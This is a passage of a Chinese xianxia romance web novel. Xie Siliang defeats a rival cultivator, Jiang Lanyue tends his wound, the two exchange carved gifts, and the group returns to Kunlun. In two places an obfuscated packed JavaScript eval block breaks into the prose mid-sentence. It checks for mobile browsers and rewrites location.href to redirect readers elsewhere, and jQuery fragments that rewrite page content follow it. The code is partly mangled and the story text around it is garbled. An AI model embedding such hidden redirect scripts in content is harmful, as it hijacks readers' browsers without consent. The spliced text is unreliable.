谢思量：“好吵，你的话怎么这么多。” * 来到阶梯前的正庙中，姜揽月一打开木门，便发现了师萝樱。 师萝樱的双手还被绑着，她听到了有人推门而入的声音，神经立马紧张起来，难道那个人不是谢思量？但在看到来人是姜揽月后，她松了一口气：“姐姐，姐姐，我在这。” 姜揽月立马跑过去，将师萝樱手腕上的锁链劈开：“你还好吗？” “我没事，姐姐。”师萝樱的眼中流出泪花，一颗又一颗雪白的珍珠自她脸上滑落。 与此同时，谢思量在二人所在庙中撑开一个结界，道：“不要出来。” 师萝樱看着窗外的二人，道：“姐夫他一个人，可以吗？” 说实在的，对上化神期修士，姜揽月也没有那般自信，因为今日谢思量已经去山上除妖了，一日之内又遇上这样的一位强者，她也不知道行不行。不过，她嘴上还是道：“相信谢思量。” 师萝樱点点头：“好。” 庙外，御山真人感觉谢思量好似没有传说中的那般强，他手中剑光一闪：“为何感觉你的修为降低了？你还是化神期？” 想到刚刚谢思量看那女子的眼神，他突然大笑道：“还是说，你现在根本不是无情道？！” 御山真人自己的师尊也是修无情道的，他知道，无情道一旦沾染了红尘，便会修为散尽，再难以修炼。所以很多人都说无情道是修炼的捷径，但他却觉得这是修炼的大忌，一不小心便会前功尽弃，因此，每当看到一些无情道修士杀妻杀子杀父杀母，他觉得也不是不能理解，毕竟还是修炼最重要啊，有谁能甘心自己千辛万苦得来的修为仅仅因为一个人就散尽了呢。 听到这话，谢思量的眉眼忽地弯了起来：“没关系，我的修为现在便可到化神。” 罡风呼啸，大雪中青年墨发飘扬。只在瞬间，他的境界便由大乘到了化神。 御山真人瞳孔中满是震惊，不敢相信谢思量竟真的因为一个女人放弃了无情，更不敢相信居然有人修为散尽之后居然又回到了化神期。 他有些语无伦次：“你、你重新开始了？你真的不是无情道了？！” 他不敢相信，面前的男子竟然在修为散尽后又修炼到了化神。 谢思量没有说话，黑夜中，他的双眼很是明亮，观雪在他身边环绕，瞬间，万剑齐发，直接向御山真人冲去。 “你现在是什么道？” 躲已经来不及了，在那剑光冲向自己的时候，御山真人最后问出了这一句话。 “魔道。”男子淡淡的声音传到了他的耳中。 随后，数把剑都插进了御山真人的血肉，不过须臾，他的化神就在这一刻碎了。 御山真人喷出一口血来，声如蚊呐：“……你竟然修行魔道了……” 谢思量的眼中透露出微微猩红，当无情道破的那一刻时候他便知道自己只能修魔道了。 “魔道又如何？”他低声道，“无论是魔道还是正道，都能为我所用。” “是因为那个女人吗？”御山真人笑道，“你居然为了那个女人放弃了无情道……” * 谢思量和御山真人打斗之时，姜揽月和师萝樱一直在庙中，没有出去。她细细为师萝樱包扎着伤口，幸好，师萝樱的伤口很轻，姜揽月喂给她一粒修复的丹药便好了。 师萝樱看着面前专心致志为自己包扎伤口的姜揽月，抽泣道：“姐姐，你对我太好了。” 姜揽月道：“哈哈，这种时候就不要哭了，我们要齐心协力打败坏人啊。” “嗯嗯。”师萝樱擦了擦眼角的泪，等到了昆仑后，她一定要好好修炼，报答姜揽月。 待外面狂涌的灵力平息后，姜揽月才打开了门。 月光下，谢思量静静地站在阶梯上，他原本白净的脸上沾上了鲜红的血液，自他脸颊上滑落，又滴到了锁骨之上。 姜揽月立马奔向谢思量：“谢思量，你受伤了吗？” 未等谢思量回答，她便看到谢思量的腰上被鲜血染红，深红的血迹十分可怖。 “你的腰受伤了！”姜揽月的眼中透露出焦急，被化神期的对手伤了，可能比较严重。 抬眼又看到谢思量脸上的血液，她更是焦急。 “谢思量，我现在给你搽药。” “无事，这不是我的血。”谢思量看了看四周，风雪呼啸，今夜雪应该不会停了，道：“回客栈吧。” 姜揽月早已习惯了谢思量无论什么时候都这幅云淡风轻的样子，点点头：“好。” 这里确实不够安全，可能会碰到御山真人的同党，还是回客栈比较好。 “萝樱，我们先回去吧。” 姜揽月将师萝樱从庙中喊出，随后三人便一起回到了客栈。 在路上，师萝樱低着头，看着谢思量的伤口道：“多谢姐夫出手相救，是萝樱给你添麻烦了。” 谢思量瞥了她一眼，道了句：“无事。” “是我连累了姐姐，对不起，如果不是我姐姐也不会这抓到这里来。”她小声道。 姜揽月惊讶道：“这怎么能怪你呢，你千万不要这么想，萝樱，是那个什么御山真人不对。” 她摸了摸师萝樱毛茸茸的头顶：“你可千万不要自责。” “谢谢姐姐，姐姐你对我太好了！”师萝樱的话中带着哭腔。 姜揽月轻轻擦了擦她的眼泪：“怎么又掉小珍珠了，没事的，接下来你和姐姐姐夫一起回昆仑就好了，在昆仑没有人会这样对你的。” “好。”师萝樱道。 谢思量静静地看着两人的动作，没有言语。他不理解，为何姜揽月才认识师萝樱不过堪堪几天，就能为她做到这个程度？难道只是因为师萝樱和她一样也是鲛人吗？ 回到客栈后，还是如往常一样，师萝樱独自一个房间，谢思量和姜揽月一个房间。 关上门后，姜揽月便急忙从储物袋中拿出丹药。 “我来帮你看看伤口。” 由于伤口在腰部，所以只能将衣服脱掉。 “谢思量，你要将外衣脱下。” “好。” 谢思量道，随后他解开了腰带，慢慢脱下了外衫。 衣料之下，青年肌肤玉白，薄薄的肌肉很是漂亮，但是那腰上的伤口很是可怖。 不过，最令人惊讶的是谢思量的后背居然有一块黑色的纹身，这纹身几乎覆盖了整个后背，蔓延到了左肩，看起来竟令人产生了一丝压迫感。 姜揽月吃了一惊，谢思量的背上怎么会有这样的纹身，这与他清冷的形象很是不符。 感受到姜揽月动作的停顿，谢思量又慢慢将衣服披回去：“害怕了吗？” 姜揽月一怔，她怎么会因为纹身害怕：“当然不是，我只是在想，那是什么？” “是穷奇。” “穷奇？” “为什么要纹穷奇？” 谢思量没有说话。 姜揽月意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283346|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到可能是他不想说，于是到：“我现在来给你上药，我不害怕的。” 姜揽月又看向谢思量腰上的伤口，那伤口深可见骨，看着便十分揪心。 她拿出药瓶，小心翼翼地为谢思量敷药。自从来了昆仑后，她都快成医修了。 当少女的指尖碰到伤口之时，谢思量只感到淡淡的痒意包裹住了疼，识海中好像产生了丝丝电流。 极痛极乐，那令他魂牵梦萦的感觉又回来了，原来只要被姜揽月这样触碰，就能感受到舒爽。 “可以重一些？”谢思量的声音微哑。 “啊？” “可以按重一些。”谢思量又道。 姜揽月的动作顿了一下，重一些？这是什么要求？ 她有些奇怪，不过她也知道，谢思量一向奇奇怪怪。于是便真的按着他的要求，用力了一些。 “这样？”她试探道，手上又加重了力道。 谢思量感到内心升腾起一股愉悦。 “嗯。” 忽地，寂静的房间内忽然传来了一声呻吟。 声音不大，姜揽月却听得很是真切。这声音不可能是她发出来的，那就只可能是谢思量发出来的了。她微微一怔，糟糕，她是碰到什么地方了？ 她知道，人都有所谓的敏感地区，所以谢思量的敏感地区应该就是他的腰。 为了避免尴尬，姜揽月咳嗽了一声，继续不动声色地为谢思量涂药，不过这次她放轻了力气，不敢再像谢思量说的那样了， 片刻后，姜揽月便将药都涂好了，她这才发现自己之前带的绷带居然用完了。 “怎么了？”谢思量问道。 “没有绷带了。”姜揽月道，她集中生智道，“我用裙子上的布料吧。” 说着，她就弯下腰在自己的裙摆上撕下一段蓝色的布料。 谢思量看着少女手中那段蓝色的布条，道：“好。” 随后，姜揽月便用布料将谢思量腰上的伤口包扎好，她缠了几圈，最后扎上了一个蝴蝶结。 看着那蓝色的蝴蝶，谢思量的心中竟又生出了一股愉悦。他伸出手，苍白的指尖轻轻在布料上摩挲，这是姜揽月的衣服，姜揽月衣服上的布料缠在了他的腰上，带着姜揽月的味道，姜揽月的味道将他包裹住了。 姜揽月注意到谢思量的动作：“怎么了？不舒服吗？不舒服的话我明天找家医馆买点绷带，不过就是不知道这里有没有医馆……” 谢思量轻轻勾起嘴角：“不用，用你的裙子很好，到昆仑再说吧。” “好。”姜揽月道，谢思量今日又除妖，又和御山真人斗法，“休息吧，你应该累了吧。” “嗯，是有些累。”谢思量轻轻道，他顺势躺倒了床榻之上。 赶路的这几日中，两人大部分时候都是一间房，谢思量有的时候也会上榻休息。两人已经不是第一次这样了，如今二人都非常娴熟。 不过，这家的客栈的床榻不像之前客栈中的那般大，反而比较小，两人在一起稍微有些挤。 谢思量身为男子，体型不管怎么说都会比女子高大些。 姜揽月被迫只得往谢思量那边靠：“这个榻有些小。” “往我这边来些吧。” “这样会不会碰到你的伤口？”姜揽月有些担忧。 “不会的。”谢思量肯定道。 ‘“真的不会吗？” “如果碰到的话我会说出来。”谢思量道。 “好。”姜揽月放心了。 两人靠的很近，近到姜揽月一转身便能碰到谢思量的脸。 可能是因为今日受伤的原因，谢思量的眼角微微泛着红，像是桃花盛开。 鬼使神差，她竟然伸出手摸了摸他的眼角。 “嗯？” 谢思量忽地抬眼“看”她，姜揽月这才意识道自己做了什么。 她顿了顿，尬笑道：“有个蚊子，帮你拍死了。哈哈哈这里大冬天居然有蚊子。” “蚊子吗？”谢思量笑道。 “嗯，蚊子。”姜揽月肯定道，讪讪收回了手，“没事的，已经被拍死了，真是没想到冬天也会有蚊子啊。” “多谢。”谢思量的嘴角还是含着笑。 姜揽月很少看到这样的谢思量，笑起来的谢思量浑身的冰雪好似都融化了，这应该是生病时特有的谢思量。 她继续一动不动地望着他，又过了片刻，她竟然产生了亲谢思量的冲动。待她反应过来后，被自己的想法吓了一跳。不对吧，她在想什么啊？她居然敢亲谢思量？ 不过不知道她亲一口会不会影响他的无情道。 不对，她到底在想什么东西。不行，不能看了，再面对着这张脸，她也不知道自己会做出什么事情。 姜揽月闭眼，决定眼不见心不烦，色即是空，空即是色。 “你的背上为什么会有那个纹身啊？” “很想知道？”谢思量反问道，“为什么？” 他的内心有些疑惑，明明刚刚姜揽月还一直看着他，为何现在又不看了？ “因为我想了解你。” 这话一出，二人都静默了一刻，夜晚静地好像能听到二人的心跳声，姜揽月将自己埋到了被窝中。 淡淡的冷香在空气中萦绕，二人挤在一起，温度在渐渐升高。 随后，谢思量开口，他的声音很是清晰：“我出生那年，王国发生了瘟疫，因此我被称为是不详之人。大概在我八岁的时候，宫里来了个道士，说我是极恶之人，只有纹一个凶兽才能把我压下去，所以就纹了穷奇。” “什么？！居然给八岁的孩子纹身？”姜揽月惊讶道，“你当时一定很疼吧。” 她猛地将头从被子中探出来：“怎么可以给八岁的孩子纹身？真是封建迷信，哪有什么不祥之人。” 谢思量的语气中带着些嘲讽：“他们会相信。” “那你当时的王宫现在在哪呢？” “早就没有了，被魔侵袭了，全军覆没。那里没有修道之人，都是普通凡人，遇到魔只有死路一条。”谢思量道，他的语气中听不出任何可惜或者难过的情绪。 姜揽月静静地听着谢思量说，这是他第一次说他的过往。 她不知该如何安慰，便道：“你现在有我们了。” “那你可以一直陪着我吗？”谢思量抚了抚姜揽月的发丝。 “当然。”姜揽月没有躲闪，她如今已经习惯了谢思量忽然的抚摸。 二人近到可以感受到对方的鼻息，旖旎的气氛在房间内流动。 姜揽月没话找话：“今天山上那是什么妖怪啊？” “一只狼妖。” “狼妖啊？挂不得，在这山上这么嚣张。”姜揽月道，“那你的伤是狼妖造成的吗？还是那个御山真人？” “都有一点。”谢思量道。 姜揽月谴责道：“那个御山真人，真是令人无语，用灵石拍卖不过我们，居然就想着这种主意，不仅把我和萝樱绑了，还把你伤着了。” 她又一次感受到现实的残酷，修仙界就是这样以实力为尊：“如果他知道三号贵宾是你的话，应该就不敢直接来抢了吧。” 谢思量听出了她话中的自责之意，道：“没事，这不怪你，是他太贪心。” 不仅抓了师萝樱，居然还敢把他的揽月一并带走。 “鲛人在外很危险，所以你以后无论去哪里都要带着我才行，这样我才能保护你。” “好啊。”姜揽月道，“只要在这个世界就行。” 她伸出手又掖了一下被子，手腕上的镯子随着她的动作发出了清脆的碰撞之声，谢思量瞥了一眼那个银镯子，原来这镯子是这样的。 “嗯，今日很累了，休息吧。” 不知过了多久，身边的女子终于传来了轻轻的鼾声。 姜揽月睡着了。 谢思量这时候不在抑制自己的目光，他终于可以肆无忌惮地望着姜揽月了。 女子还是如之前一样，睡姿乖巧，就是手有一点不安分。 谢思量垂眼又看到了那个桌子，他低头，在那镯子上留下了轻轻一吻，随后摸了摸姜揽月的体温，将她的胳膊放回了被子中。 43. 人间（五） 大雪过后，抬眼望去一座座错落有致的茅草屋被大雪覆盖，宛如一副水墨画一般静谧。村中几缕炊烟袅袅升起，在天幕下显得格外温暖。 谢思量将妖怪除掉后，镇上又恢复了往日的宁静，居民们便想宴请谢思量表示感谢，不过都被谢思量一一拒绝了。不过因这座镇子上风景秀美，再加上谢思量还受了伤，几人便决定在这里多留几天。 清晨，三人一起吃了碗热气腾腾的馄饨，姜揽月和师萝樱便开始摩拳擦掌，准备堆雪人了。 云雪峰虽然常年飘雪，却没有很厚的积雪，只有薄薄的一层，基本上落地即化，姜揽月对此表示非常遗憾。所以当如今见到如此之大的雪景，她势要好好玩一玩雪。 将最后一块雪球搬上去之后，姜揽月道：“大功告成！” 师萝樱：“终于堆好啦！” 她看了看周围其他的雪人，道：“还是我们的雪人最好看！” 姜揽月也环视了周围的雪人：“确实，还是我们的雪人好看。” 这时，一个童稚的声音忽然响起来：“小樱姐姐，我们一起来玩吗？” 是住在这附近的一个小女孩。 话音刚落，她身后又出现一个头稍大的女孩：“小樱，我们一起玩吗？” 这些天里，师萝樱和这里的孩童也渐渐熟悉了，经常一起玩耍。见自己的伙伴们来找自己了，她转头便对姜揽月说道：“姐姐，我和她们一起去玩了。” “嗯，去吧去吧。”姜揽月道。 她看着几个人活蹦乱跳的背影，感慨了一句：“小孩子们熟悉起来真快啊。” “你当年也像她们一样吧。”谢思量在一旁道。 “我吗？我小时候可宅了，当时一点都不喜欢运动，整天就在家里看小说。”姜揽月反问，“你呢，谢思量？你当时在做什么？” “修炼。”谢思量慢慢吐出了两个字。 “……”姜揽月，“除了修炼呢？” “没了。” 意料之中的回答，这非常的谢思量。 姜揽月抬眼望他，他今日眼前蒙着白色布条，乌黑的发丝被风轻轻扬起，整个人变得愈发清冷。 “你的眼睛怎么了？好久都没见你蒙着布条了，今天怎么缠着绷带。”姜揽月有些疑惑，除了二人刚开始的认识的那段时候，她再也没有见到谢思量缠绷带了，今日谢思量的眼周却一直缠着绷带，“是受伤了吗？” 谢思量：“前些日子和御山真人交手的时候，有点伤及眼睛了。” “啊？”姜揽月关切道，“那我们要不要赶快回昆仑帮你看看眼睛啊？毕竟我带的丹药只能治外伤，却治不了眼睛。” 谢思量轻笑：“不需要，过一段时间便好了，也不是第一次了。” “嗯，那我们就在这多待几日吧，正好修养一下。” “好。” “对了，谢思量，刚刚你一直在雕什么啊？” 她和师萝樱在堆雪人的时候，谢思量一直在做木雕，客栈的中的一位爷爷曾经是一个木工，经常见他一个人坐在角落处雕木头，昨日还给这里孩童每人雕了一只小鸭子。当时师萝樱拿着手中的鸭子很是欣喜，跑到姜揽月面前道：“哇，姐姐快看，我也有小鸭子了。” 只是，没想到谢思量居然也向他要了些木头，今早用完膳后便在那里刻。 姜揽月不禁有些疑惑，他眼睛又看不见，真的能雕好吗？ 她看向谢思量手中的木头，只见那块木头在他手中被雕成了一个木偶的样子，木屑从他的刀下簌簌而落，他正在给那个木偶雕刻眉眼。虽然这个木偶暂时还没有完成，不过姜揽月觉得若是雕出来应该是个不错的木偶。 真是奇了怪了，眼睛看不见还能雕成这样？ 她问道：“谢思量，你在雕什么啊？” 谢思量微怔，他也不知道他在雕什么，这好像是一种冲动，一种本能。 “嗯？”姜揽月又道。 “我在刻……”谢思量垂下眼睫，“我也不知道。” “啊？”姜揽月不知道谢思量的意思，“你不是雕了一个小木偶吗？难道你想说，你不知道雕什么就能雕出一个小木偶？” 她走到角落处拿起一块木头：“那我也要雕。” “好啊，那我们一起。”谢思量垂眉，手中的动作没有丝毫减慢，仿佛已经重复过无数次这个动作了。 当即，姜揽月便拿出了思君，思君在她的手中变成了一把易于操控的小剑。虽说她现在剑术还是个半吊子，但是思君真的很好用，上可捉妖降魔，下可切水果做木雕，实乃一剑多用。 姜揽月：“让我仔细看看，你的木偶雕成什么样了？” 谢思量摊开手掌，他手中木偶的眉眼都快成型了。 姜揽月嘀咕：“这也太高难度了。” 谢思量笑笑：“你也可以试试。” 她转手拿着思君开始刻：“小人太难了，我先从简单的开始吧，就雕一颗星星吧。” 星星比较简单，一刻钟后，姜揽月便做出了星星的形状，现在只需要将五个角削地尖尖的便好了。 “你之前做过木雕吗？”姜揽月问道，“怎么感觉你的手法这么娴熟？不像新手啊。” “没做过。”谢思量肯定道。 “哦，那你还真是有天赋啊。” 两人正说着话，忽然传来了一阵猫叫声。 “喵。” 姜揽月立马抬眸，那是一只黑色的狸花猫，身上有白色的花纹，尾巴翘着老高，在低矮的墙上行走，梅花印落了满墙。 他们所在的墙角种了许多梅花，红梅映雪，小猫踩雪，实乃一副好景。随后，那猫竟直接从墙上跳了下来，落在了雪地中，随后抖了抖身上的雪。 “小猫猫，快过来。”姜揽月模仿着猫咪的声音，“喵，乖宝，快过来。” 狸花猫踏着圆滚滚的步伐，跳到了姜揽月怀中。 姜揽月顺势开始撸猫，她摸着狸花猫粉色的耳尖，柔软的触感布满了指尖：“真乖。” 不想，随后她怀中的可爱小猫就发出了一声尖叫，浑身的毛立马竖了起来。再然后，姜揽月便看到一道灰黑色的残影。当她反应过来后，小猫已经跑远了，只剩下一个背影。 她有些懵，这是怎么回事？ 她的耳边传来一阵笑声，谢思量无奈道：“有这么怕我吗？” 虽然看不见，但是他却可以感受到。 姜揽月目露震惊，谢思量对小动物的杀伤力这么高吗？ “你不是还带着绷带吗？”她嘀咕道，即使是戴着绷带的谢思量的杀伤力也这么大吗？ “可能是杀气太重了。”青年淡淡道。 “噢，怪不得。”姜揽月点头，谢思量常年在外杀妖除魔，一般妖听到他就会跑，若是小动物喜欢他就奇怪了。 “咦，你的小木偶已经雕好了啊？”姜揽月惊呼，“能给我看看吗？” “嗯。” 谢思量将手中的小人递给了姜揽月。 姜揽月白嫩的指尖在木偶的眼睛上细细摩挲，这个木偶雕的不错，眼睛弯弯的，憨态可掬，很是讨喜。真是奇怪，谢思量那么高冷的一个人居然能雕出这么有意思的一个小人。 “你们等我一下，我拿个铲子就出来了。”师萝樱的声音在院子外响起。 “萝樱，你回来了啊？” “嗯，我来拿个铲子，我们要一起铲雪。” 片刻后，她就找小二借了个铲子，风风火火的出来。路过姜揽月的时候，她忽然低头：“咦，姐姐这是你吗？” 若是这个小人在谢思量手中，她绝对不会主动看的。 “我？” ？？ 姜揽月有些惊讶：“这是我吗？” 这怎么也不像她啊。 “这就是姐姐，”师萝樱凑的更近，她指着木偶的眉眼道，“这是姐姐笑起来的样子，眼睛弯弯，像个小月亮。” “这就是姐姐。”她再次肯定道。 “萝樱，快点啊。”外面的孩童在催促。 “我来了！”师萝樱道，随后便跑出了院子。 留下姜揽月和谢思量二人，院落中又恢复起一片宁静，偶有其他客人的说话声音。 姜揽月摸着木偶人月牙状的眼睛，不知道师萝樱为什么要那么说：“这哪里像我？” 谢思量忽然道：“不像吗？” “不像。”姜揽月立马否决，她的眼睛就是正常眼睛啊，才不会弯成那样的形状，“我才不长这样。” “那还给我。”谢思量道。 ？ 说不像还生气了？ 姜揽月将木偶递给谢思量：“还你就还你。” “不过，你怎么知道我的长相？”她又问道。 谢思量：“薛满说的。” 姜揽月有些狐疑，思及谢思量之前的眼神，她真的要以为他的眼睛是不是已经好了。但他如今双眼都缠着绷带，却还能将木雕做成这样，她也不能说什么。 恰好这时，谢思量又说道：“对了，我还有一个东西要送给你。” “嗯？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297161|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢思量拿出一个簪子。 “哇，好漂亮啊！”姜揽月接过簪子，簪子上是一块澄澈的琉璃，辅以白玉，被做成了弦月的样子，在她手中散发着盈盈辉光。 姜揽月有些惊讶：“这是你自己做的吗？” “嗯。”谢思量点头。 姜揽月用手摩挲着琉璃，抬眸看了看谢思量脸上的白布：“不过，这块琉璃好像你的眼睛啊。” 谢思量又开始了新的木雕，他反问道：“是吗？” “是啊，你的眼睛和我们不一样，我们的眼睛都是黑色的，但是你的瞳色很浅，看起来就像琉璃一样。” “那你喜欢吗？” ？是问簪子吗？还是……？ “喜欢。”姜揽月肯定道，无论是簪子还是谢思量的眼睛，她都很喜欢。 “喜欢的话，”谢思量的嘴角扬起微微的弧度，“那就要一直戴着，好吗？” “好。”姜揽月道。她将这枚簪子戴到了发髻之上，“既然是你送的，我一定会一直戴着的。” 随着女子的动作，她手上的手镯叮当作响。是熟悉的铃音，可是他现在却看不见，他的眼睛要过上一段时间才能恢复。 “既然你送了我这个簪子，那我也要送你礼物。” 姜揽月记得她前几日在客栈里看到了红绳，她去找小二要了几根，将自己做的那颗星星串了起来，然后将其编成了剑穗。 “这个剑穗送给你，希望你不要嫌弃丑。” 谢思量摸着这个星星的五个尖角，问道：“你刚刚做的星星？” “对。” “不嫌弃，我很喜欢。”青年手中忽地现出一把长剑，然后他将这枚剑穗挂到了剑柄上。 随后，他又将手中的小人递给了姜揽月：“既然你会做剑穗，可以帮我把这个也做成剑穗吗？” “可以啊。”姜揽月答应道，鲛人最擅长的就是编织，只是没想到谢思量这么喜欢这个小木偶。 “这个真的是我吗？”她问道。 “或许吧。” ？什么叫或许？ 姜揽月有些恼，但一想到谢思量本来也看不见，把她做的丑点就丑点吧，她不能和盲人计较这些。 “为什么要做成剑穗？” 谢思量的指尖还摸着那颗星星：“这样可以一直陪在我身边。” 姜揽月内心一颤，她正在编剑穗的动作顿了顿。谢思量这是什么意思？为什么要说这种话？ 可他不是无情道的吗？真的懂这些吗？ 可是，如果他不懂的话，就不应该随便说这些话啊！ 姜揽月无言，算了，不想这些了，不跟他计较。她专心致志地编着手中的剑穗。 一刻钟后，姜揽月道：“好了。” “多谢。”谢思量将编好的剑穗和星星一起挂到了观雪之上。 姜揽月扬起脸，观雪原来是一把高冷酷炫的剑，长长细细，散发着阵阵寒气，颇有种高处不胜寒的气势。 但如今多了这两个蠢萌的挂饰后，居然多了一丝亲民的感觉。随着谢思量的动作，星星与小人在空中划过道道弧线。 姜揽月看的笑了：“真可爱。” 谢思量也笑意盈盈：“这样就能一直在我身边了。” * 玉霄殿内，外面电闪雷鸣，大雨像断了线的珠子一样往下砸，潮湿的水汽从四面八方汇入，在他的记忆中玉霄殿很少有这种景象，因为玉霄殿大部分时候都在下雪。 他知道他又做梦了。 他在做什么？ 一道闪电划过，白光亮起。 谢思量终于看到了自己手上的物品，是一个木雕，确切地说，那个木雕被雕成了姜揽月生前的模样，眼睛被雕成了月牙形，簪着一个花朵簪子，甚至还穿着一件襦裙。 他的指尖轻轻摩挲过那襦裙柔软的蓝色布料，这难道也是他做的吗？ 又一道闪电划过，只见他的桌上全是小木雕，笑着的姜揽月，生气的姜揽月，委屈的姜揽月，感动的姜揽月，所有的木雕都是姜揽月，所有的姜揽月的表情都不一样，而每一个姜揽月却又戴着不同的发簪，穿着不同的裙子。 谢思量心下一惊，一道雷声传来，面前的画面忽然像被撕裂一样，化成道道碎片，眼前又是熟悉的黑暗。 他醒了。 另一个世界的他为什么要这么做？ 他知道他不会无缘无故做这些梦的，这些事情可能已经或是正在或是即将会发生。 三千世界，他和姜揽月在其他世界会是什么样子？ 44. 人间（六） 修养约莫半月后，三人终于一起回到了昆仑。 昆仑还是如以前一样，梨花飘飘，如同白雪降落。 师萝樱自小生长在海中，没见过山，她站在山脚下，发出了没见识的惊呼声。 姜揽月笑笑：“等会上去，你还能见到更多没见过的东西。” “嗯。”师萝樱的尾音都洋溢着兴奋。 来到昆仑内后，姜揽月带着师萝樱准备去测灵根。 天玑长老恰好路过：“咦，你们俩……” 她看看师萝樱，又看看谢思量和姜揽月，忽然笑道：“你们俩这么快就生了个小女娃啊？长得还真像你呢，尤其是神态。” 谢思量抬眼，认真道：“师姐，不要说笑。” “我开玩笑的，你真古板。”天玑长老觉得有些没意思。 姜揽月笑道：“师姐说笑了，这是我们在外碰到的一位受伤的小女孩，她的父母都遇害了，所以我们便将她带回昆仑。” 天玑长老：“哦，怎么一个个的都这么喜欢捡孩子？” 见师萝樱生得冰雪可爱，天玑长老忍不住摸了摸她的头：“好可爱的女娃娃。” 师萝樱乖巧道：“谢谢姐姐，姐姐也很英姿飒爽。” “小嘴真甜。”天玑长老笑道。 “姐姐，你是修什么的啊？” “我和谢思量一样，是剑修。” “哦。”师萝樱亮晶晶的眼神看着天玑长老，面前的长老扎着一个高马尾，穿着黑色的男装，眉如远山黛，眼如天上星，英姿飒爽，不同于她之前见到的女子形象，她有些向往道，“剑修好酷啊。” “喜欢就可以一起来学啊。”天玑长老忍不住又捏了捏师萝樱的脸颊。 “好，我这几天了解一下。”师萝樱道。 “对了，谢思量，掌门找你，应该是想和你说青云盛会的事情。”天玑长老又道。 姜揽月闻言道：“那我先和萝樱一起去测灵根了。” 谢思量点头：“嗯。” 姜揽月：“师姐，我们先走了。” 师萝樱也道：“姐姐，我们走了。” “嗯，以后再见。”天玑长老道。 她眼角一瞥，忽然发现谢思量的背后多了什么东西一直晃来晃去。 “谢思量，你的剑怎么回事？” 一般元婴期的剑修便可以做到化剑于心，所以他们的剑不会被背在背上，而是都做到了人剑合一，只要心中有剑，手中便有剑。而谢思量早早就过了元婴期，为何忽然把剑背在背上了？ 待她看清剑上的两个木雕后，笑道：“你是想让我们看这个吧。我猜猜，揽月姑娘送给你的？” 谢思量的剑上挂着一个星星木雕和一个小人木雕，在他背后一晃一晃，看起来很是憨态可爱，天玑长老觉得这都不像自己平日里的师弟了。 谢思量没有否认，直接道：“嗯，我夫人做的星星，两个剑穗都是她编的。” 天玑长老：“……” 我有问这么详细吗？ 她冷笑：“那你们还真是恩爱啊。” 不对，她忽然意识到，若是这样的话，谢思量这无情道还能修吗？无情道讲究冷心冷清，若是想要修炼好必须摒弃一切红尘牵挂，做到孤身一人，但见他如今和姜姑娘这幅样子，真的还能修成吗？ “师弟，”她已经很久没有喊过他“师弟”了，“你现在还是无情道吗？” 谢思量垂睫，没有说话，微风扬起他乌黑的发丝，像是在诉说隐秘的情愫。 天玑长老手中忽然现出一把剑，锐利的剑气猛地向谢思量冲去，在这巨大的冲击之下，两旁的梨花簌簌而落。 谢思量反手一击，只见白光一闪，观雪在便将这道猛烈的剑气接住，两道剑气在瞬间共同消逝，仿佛从来没有存在过，除了那满地的梨花。 天玑长老露出一个笑：“修为还没跌，不错。” 谢思量没说话。 她又道：“其他人知道吗？” “还不知道。” “行，我明白了。”她道。 * 后山，两旁的树木郁郁青青，道路两旁种满了紫藤萝，天枢掌门和谢思量二人正站在盛开的紫藤萝旁。 “摇光，你这段时间都去哪儿了？有段时间都没见着你。” “中州。”谢思量道，“把那边的妖也顺势除了。” 掌门摸了摸并不存在的胡子：“哦，也是，中州最近有拍卖会，在那里碰到了不少其他门派的弟子吧。” “嗯。”谢思量道。 掌门继续说道：“我这次找你前来主要是想和你商讨青云盛会的事情，今年的青云盛会马上在蓬莱岛举行。上次你在青云盛会中夺得魁首，如今你也是我们昆仑的长老了，我和其他几位长老决定让你带着几位弟子们一起过去，如何？” 他看着面前的谢思量，谢思量向来不爱与人交往，不知现在怎么样。 “是，掌门。” 居然答应了。 掌门笑了笑：“行，这次你带他们几位弟子就当去蓬莱玩玩，放松放松。见见世面吧。蓬莱的桃花值得一看，还有那里的桃花酿，可以和姜姑娘一起品尝。” “好，掌门。”谢思量道。 * 将师萝樱安置到弟子舍管后，姜揽月回到了云雪峰。她按照上辈子的记忆找到了水心莲，原来水心莲云雪峰的一个小池子里。 但见那雪白的花瓣通体晶莹，像是世间最纯净的冰雕刻而成，莲瓣薄如蝉翼，好似世间最轻盈的花，在暮色中泛着淡淡的蓝光，边缘处流转着水银色的光芒。 ！ 水心莲开了！这就是她记忆中的水心莲！ 姜揽月激动的眼泪都快掉下来了，她的血脉反噬终于可以治好了。 她伸出手，准备直接将水心莲采摘下来，忽然想起上辈子这水心莲是摘给宿渊的，若是如今她把这水心莲用了，不知道会发生什么变化。 不过管他呢，姜揽月狠了狠心，直接将莲花摘下，她可能都要在这修仙界待一辈子了，当然要以自身为先。 然后她又去医馆借了个炼药炉，一切准备妥当之后，便开始煎药了。医书上说，这个药需炼制七天。她第一次煎药，担心会不成功，便在一旁等候着。 按照原来的时间线，她应该快遇到宿渊了，不过这辈子很多东西和上辈子都不一样，遇不上也有可能。 但是，马上的青云盛会，不又是各家弟子荟聚的地方吗？ 草药的味道越来越重，也不知道谢思量前几天说那话是什么意思，为什么要说的那么暧昧，他一个无情道修士怎么可以不负责任的撩人，姜揽月愤愤地想，无情道修士就应该洁身自好啊，怎么可以说出这种意味不明的话。 “药熬得如何了？” ？？ 